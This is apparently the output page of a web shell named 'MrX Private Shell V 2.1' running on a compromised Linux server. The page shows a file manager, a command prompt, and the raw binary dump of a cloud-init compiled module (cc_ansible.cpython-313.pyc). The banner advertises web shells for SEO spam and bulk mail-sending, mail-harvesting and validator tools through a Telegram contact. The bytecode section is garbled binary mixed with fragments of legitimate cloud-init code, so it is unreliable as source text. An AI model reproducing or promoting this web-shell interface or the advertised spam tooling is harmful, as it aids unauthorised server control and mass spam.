__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h� �
��%SrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSK	J
r
 SSKJrJ
r
Jr SSKJr SSKJr SSKJr SS	KJrJr SS
KJr SSKJr S\\/S
/S.r\\S'\R<"\5r Sr!"SS\RD5r#"SS\#5r$"SS\#5r%S\&S\S\S\'SS4
Sjr(S\)4Sjr*S\)S\)4Sjr+S\#S\)4S jr,S\)S
\#4S!jr-S\)S
\#4S"jr.g)#z9ansible enables running on first boot either ansible-pull�N)�deepcopy)�Optional)�	lifecycle�signal_handler�subp)�Cloud)�Config)�
MetaSchema)�ALL_DISTROS�Distro)�PER_INSTANCE)�get_cfg_by_path�
cc_ansible�ansible)�id�	frequency�distros�activate_by_schema_keys�meta�ansible_configc���\rSrSrS\4SjrS\\R4Sjr	S\
4SjrSrS\
4S	jrS
r\R"S5r\R"S\
4S
j5rSrg)�AnsiblePull��distroc��S/UlSS/UlXl0UlSUl[
RRSS5URS'g)Nzansible-pullz	--version�HOMEz/root)�cmd_pull�cmd_versionr�env�run_user�os�environ�get)�selfrs  �=/usr/lib/python3/dist-packages/cloudinit/config/cc_ansible.py�__init__�AnsiblePull.__init__ sK��'�(��
�*�K�8��������'+��
��:�:�>�>�&�'�:�������returnc��URUR5upUR5RS5n[R
"SU5nU(a0UR
S5n[RRU5$g)Nrz	([\d\.]+))
�do_asr�
splitlines�pop�re�search�groupr�Version�from_str)r$�stdout�_�
first_line�matches�versions      r%�get_version�AnsiblePull.get_version+sl���J�J�t�/�/�0�	���&�&�(�,�,�Q�/�
��)�)�L�*�5����m�m�A�&�G��$�$�-�-�g�6�6�r(c�H�UR/URQUQ5up#U$�N)r+r)r$�argsr3r4s    r%�pull�AnsiblePull.pull4s&���J�J�6����6��6�7�	���
r(c�D�UR5(d[S5eg)Nz!command: ansible is not installed)�is_installed�
ValueError�r$s r%�
check_deps�AnsiblePull.check_deps8s"��� � �"�"��@�A�A�#r(�commandc��UR(dUR"U40UD6$URR"XR40UD6$r;)r rrr+�r$rE�kwargss   r%r+�AnsiblePull.do_as<s;���}�}��9�9�W�/��/�/��{�{� � ��-�-�B�6�B�Br(c��[R"5 [R"U4SUR0UD6sSSS5 $!,(df   g=f)N�
update_env)r�
suspend_crashrrrGs   r%r�AnsiblePull.subpAs4��
�
)�
)�
+��9�9�W�D����D�V�D�,�
+�
+�s�#A�
Ac��gr;�rBs r%r@�AnsiblePull.is_installedE���r(�pkg_namec��gr;rO�r$rRs  r%�install�AnsiblePull.installIrQr()rrrrr N)�__name__�
__module__�__qualname__�__firstlineno__rr&rrr1r8�strr=rC�listr+r�abc�abstractmethodr@rU�__static_attributes__rOr(r%rrs���	;�v�	;��X�i�&7�&7�8���S��B�C�T�C�
E�	���
��
�	���
��
��
r(rc�b^�\rSrSrS\S\\4U4SjjrSrSr	S\4Sjr
S	\4S
jrSr
U=r$)�AnsiblePullPip�Nr�userc�P>�[TU]U5 X lUR5 gr;)�superr&r �add_pip_install_site_to_path�r$rrc�	__class__s   �r%r&�AnsiblePullPip.__init__Os!���
���� ��
��)�)�+r(c��UR(azUR[RSS/5upUS3nURRS5nU(a SR
XC/5URS'gX0RS'gg)Nz-cz&import site; print(site.getuserbase())z/bin/�PATH�:)r r+�sys�
executablerr#�join)r$�	user_baser4�ansible_path�old_paths     r%rf�+AnsiblePullPip.add_pip_install_site_to_pathTsy���=�=��:�:��N�N��<���L�I�(�[��.�L��x�x�|�|�F�+�H��#&�8�8�X�,D�#E����� �#/���� �r(c��SSKng![a3 URRURR/5 gf=f)Nr)�pip�ImportErrorr�install_packages�pip_package_name)r$rus  r%�bootstrap_pip_if_required�(AnsiblePullPip.bootstrap_pip_if_requiredes;��	I����	I��K�K�(�(�$�+�+�*F�*F�)G�H�	I�s��:A�ArRc���UR5 UR5(d�[RSSS/n[R
R
[R
R[R"S5S55(aURS5 UR(aURS5 UR/UQSPSP5 UR/UQUP5 g	g	)
zYshould cloud-init grow an interface for non-distro package
managers? this seems reusable
�-mrurU�stdlibzEXTERNALLY-MANAGEDz--break-system-packages�--userz	--upgradeN)
ryr@rmrnr!�path�existsro�	sysconfig�get_path�appendr r+)r$rR�cmds   r%rU�AnsiblePullPip.installks���	
�&�&�(�� � �"�"�������	�C��w�w�~�~�������&�&�x�0�2F����
�
�
�4�5��}�}��
�
�8�$��J�J�1��1�k�1�5�1�2��J�J�'��'�h�'�(�%#r(r)c��[RSSS/nUR(aURS5 UR	U5up#SU;$)Nr|rur\r~r)rmrnr r�r+)r$r�r3r4s    r%r@�AnsiblePullPip.is_installed�sA���~�~�t�U�F�3���=�=��J�J�x� ��J�J�s�O�	���F�"�"r(�r )rWrXrYrZrrr[r&rfryrU�boolr@r_�
__classcell__�rhs@r%raraNsB���,�v�,�X�c�]�,�
0�"I�)��)�4#�d�#�#r(rac�V^�\rSrSrS\S\\4U4SjjrS\4SjrS\	4Sjr
S	rU=r$)
�AnsiblePullDistro�rrcc�0>�[TU]U5 X lgr;)rer&r rgs   �r%r&�AnsiblePullDistro.__init__�s���
���� ��
r(rRc�h�UR5(dURRU/5 ggr;)r@rrwrTs  r%rU�AnsiblePullDistro.install�s*��� � �"�"��K�K�(�(�(��4�#r(r)c�@�[[R"S55$)Nr)r�r�whichrBs r%r@�AnsiblePullDistro.is_installed�s���D�J�J�y�)�*�*r(r�)
rWrXrYrZrrr[r&rUr�r@r_r�r�s@r%r�r��s7����v��X�c�]��5��5�+�d�+�+r(r��name�cfg�cloudr<r)c��URS05nURS5nURS5nURS5nURS5nURS5n	URSS5n
U(a�[U5 URnUS	:Xa[X�5nO[	X�5nURU
5 UR
5 URS
S5n
U
(aX�R['U(a[X�5 U	(a[U[U	55 U(a[X|5 ggg)Nrr �install_method�setup_controller�galaxyr=�package_name�rur)
r#�validate_configrrar�rUrCr�CFG_OVERRIDE�ansible_galaxy�run_ansible_pullr�ansible_controller)r�r�r�r<�ansible_cfg�ansible_userr�r��
galaxy_cfg�pull_cfgr�rrrs              r%�handler��s�����	�2�.�K��?�?�:�.�L� �_�_�%5�6�N�"���'9�:������*�J����v�&�H��?�?�>�2�6�L����$������U�"�$�V�:�G�'��=�G�����%�����$���)9�2�>���(6�K�K��%���:�/���W�h�x�&8�9���/�9��-r(c��SnUH$n[X5(aM[SUSU35e URS5(a*SH$n[X5(aM[SUSU35e URS5nU(a>[URS5URS5/5(d[S	U35eUS
nUS;a[S5eg)
N)r�r�zMissing required key 'z' from r=)zpull/urlzpull/playbook_namer��repositories�run_ansiblezMissing required key from r�)rurz Invalid install method {install})rrAr#�any)r��
required_keys�key�controller_cfgrUs     r%r�r��s����M����s�(�(��5�c�U�'�#��G�H�H���w�w�v���3�C�"�3�,�,� �#9�#��g�c�U�!K�L�L�4��W�W�/�0�N����"�"�>�2��"�"�=�1�
�
�
��9�.�9I�J�K�K��"�#�G��'�'��;�<�<�(r(c��UR5VVs0sHupUSLdMURSS5U_M! snn$s snnf)zremove boolean false valuesFr4�-)�items�replace)r�r��values   r%�filter_argsr��sK�� �I�I�K��'�L�S����	%����C���u�$�'����s�>�>r=c�F�URS5nUR5nU(d[RS5 OeU[R
"SSS5:aIUR
S5(a3[SURSURSURS	35eUR"/[U5R5VVs/sHupEUS
LaSUSU3OSU3PM snnQUP76nU(a![RR!U5 ggs snnf)
N�
playbook_namezCannot parse ansible version��r�diffzAnsible version �.z%doesn't support --diff flag, exiting.T�--�=)r-r8�LOG�warningrr1r#rA�major�minor�patchr=r�r�rmr3�write)r=r�r��vr�r�r3s       r%r�r��s������1�M�����A�����2�3�	
�Y�
�
�q�!�Q�
'�	'��7�7�6�?�?��"�1�7�7�)�1�Q�W�W�I�Q�q�w�w�i�7�8��
��Y�Y��*�#�.�4�4�6�

�6�
��#(�t�"3�b���Q�u�g��2�c�U��C�6�

��
	��F���
�
���F�8�%���


s�
Dc��URS/5nU(d[RSU5 UHnURU5 M g)N�actionszInvalid config: %s)r#r�r�r+)r�rr�rEs    r%r�r��s:���g�g�i��$�G�����(�#�.����
�
�g��r(c
�|�URS/5HnURSSUSUS/5 M  URS/5HlnURS5nURS5nS	U/[U5R	5VVs/sH
upgS
USU3PM snnQnURX�S9 Mn gs snnf)
Nr��git�clone�sourcerr��playbook_dirr�zansible-playbookr�r�)�cwd)r#r+r-r�r�)	r�r�
repositoryr<r�r�r�r�rEs	         r%r�r�s����g�g�n�b�1�
��
�
�
�G�Z��1�:�f�3E�F�	
�2����
�r�*���x�x��/������1�
���
�4?�t�3D�3J�3J�3L�
M�3L�Z�S��3�%�q��� �3L�
M�
��
	�
�
�g�
�0�+��Ns�B8
)/�__doc__r]�loggingr!r.rmr��copyr�typingr�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr	�cloudinit.config.schemar
�cloudinit.distrosrr�cloudinit.settingsr
�cloudinit.utilrr�__annotations__�	getLoggerrWr�r��ABCrrar�r[r\r��dictr�r�r�r�r�rOr(r%�<module>r�s��?�
��	�	�
����5�5�!�#�.�1�+�*����}� )�{�	��j������!����,
�#�'�'�,
�^>#�[�>#�B
+��
+�":��":�6�":�%�":�t�":��":�J=��=�8�T��d��&�;�&�T�&�0���{��
1�D�
1�;�
1r(

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 208 B 0644
cc_ansible.cpython-313.pyc File 13.56 KB 0644
cc_apk_configure.cpython-313.pyc File 4.24 KB 0644
cc_apt_configure.cpython-313.pyc File 40.51 KB 0644
cc_apt_pipelining.cpython-313.pyc File 2.22 KB 0644
cc_bootcmd.cpython-313.pyc File 2.49 KB 0644
cc_byobu.cpython-313.pyc File 3.22 KB 0644
cc_ca_certs.cpython-313.pyc File 8.43 KB 0644
cc_chef.cpython-313.pyc File 13.83 KB 0644
cc_disable_ec2_metadata.cpython-313.pyc File 1.87 KB 0644
cc_disk_setup.cpython-313.pyc File 32.24 KB 0644
cc_fan.cpython-313.pyc File 2.97 KB 0644
cc_final_message.cpython-313.pyc File 3.59 KB 0644
cc_growpart.cpython-313.pyc File 23.64 KB 0644
cc_grub_dpkg.cpython-313.pyc File 5.97 KB 0644
cc_install_hotplug.cpython-313.pyc File 4.07 KB 0644
cc_keyboard.cpython-313.pyc File 1.86 KB 0644
cc_keys_to_console.cpython-313.pyc File 2.88 KB 0644
cc_landscape.cpython-313.pyc File 3.69 KB 0644
cc_locale.cpython-313.pyc File 1.57 KB 0644
cc_lxd.cpython-313.pyc File 15.8 KB 0644
cc_mcollective.cpython-313.pyc File 3.75 KB 0644
cc_mounts.cpython-313.pyc File 22.29 KB 0644
cc_ntp.cpython-313.pyc File 16.82 KB 0644
cc_package_update_upgrade_install.cpython-313.pyc File 5.19 KB 0644
cc_phone_home.cpython-313.pyc File 3.93 KB 0644
cc_power_state_change.cpython-313.pyc File 8.38 KB 0644
cc_puppet.cpython-313.pyc File 10.86 KB 0644
cc_reset_rmc.cpython-313.pyc File 5.26 KB 0644
cc_resizefs.cpython-313.pyc File 11.22 KB 0644
cc_resolv_conf.cpython-313.pyc File 3.49 KB 0644
cc_rh_subscription.cpython-313.pyc File 18.68 KB 0644
cc_rsyslog.cpython-313.pyc File 13.95 KB 0644
cc_runcmd.cpython-313.pyc File 1.77 KB 0644
cc_salt_minion.cpython-313.pyc File 4.9 KB 0644
cc_scripts_per_boot.cpython-313.pyc File 1.5 KB 0644
cc_scripts_per_instance.cpython-313.pyc File 1.51 KB 0644
cc_scripts_per_once.cpython-313.pyc File 1.49 KB 0644
cc_scripts_user.cpython-313.pyc File 1.47 KB 0644
cc_scripts_vendor.cpython-313.pyc File 1.63 KB 0644
cc_seed_random.cpython-313.pyc File 3.92 KB 0644
cc_set_hostname.cpython-313.pyc File 3.85 KB 0644
cc_set_passwords.cpython-313.pyc File 10.9 KB 0644
cc_snap.cpython-313.pyc File 4.79 KB 0644
cc_spacewalk.cpython-313.pyc File 3.37 KB 0644
cc_ssh.cpython-313.pyc File 11.57 KB 0644
cc_ssh_authkey_fingerprints.cpython-313.pyc File 5.25 KB 0644
cc_ssh_import_id.cpython-313.pyc File 5.2 KB 0644
cc_timezone.cpython-313.pyc File 1.35 KB 0644
cc_ubuntu_autoinstall.cpython-313.pyc File 1.81 KB 0644
cc_ubuntu_drivers.cpython-313.pyc File 5.34 KB 0644
cc_ubuntu_pro.cpython-313.pyc File 15.12 KB 0644
cc_update_etc_hosts.cpython-313.pyc File 2.77 KB 0644
cc_update_hostname.cpython-313.pyc File 2.49 KB 0644
cc_users_groups.cpython-313.pyc File 3.1 KB 0644
cc_wireguard.cpython-313.pyc File 9.03 KB 0644
cc_write_files.cpython-313.pyc File 6.27 KB 0644
cc_write_files_deferred.cpython-313.pyc File 1.82 KB 0644
cc_yum_add_repo.cpython-313.pyc File 5.27 KB 0644
cc_zypper_add_repo.cpython-313.pyc File 6.28 KB 0644
modules.cpython-313.pyc File 13.12 KB 0644
schema.cpython-313.pyc File 54.5 KB 0644
Filemanager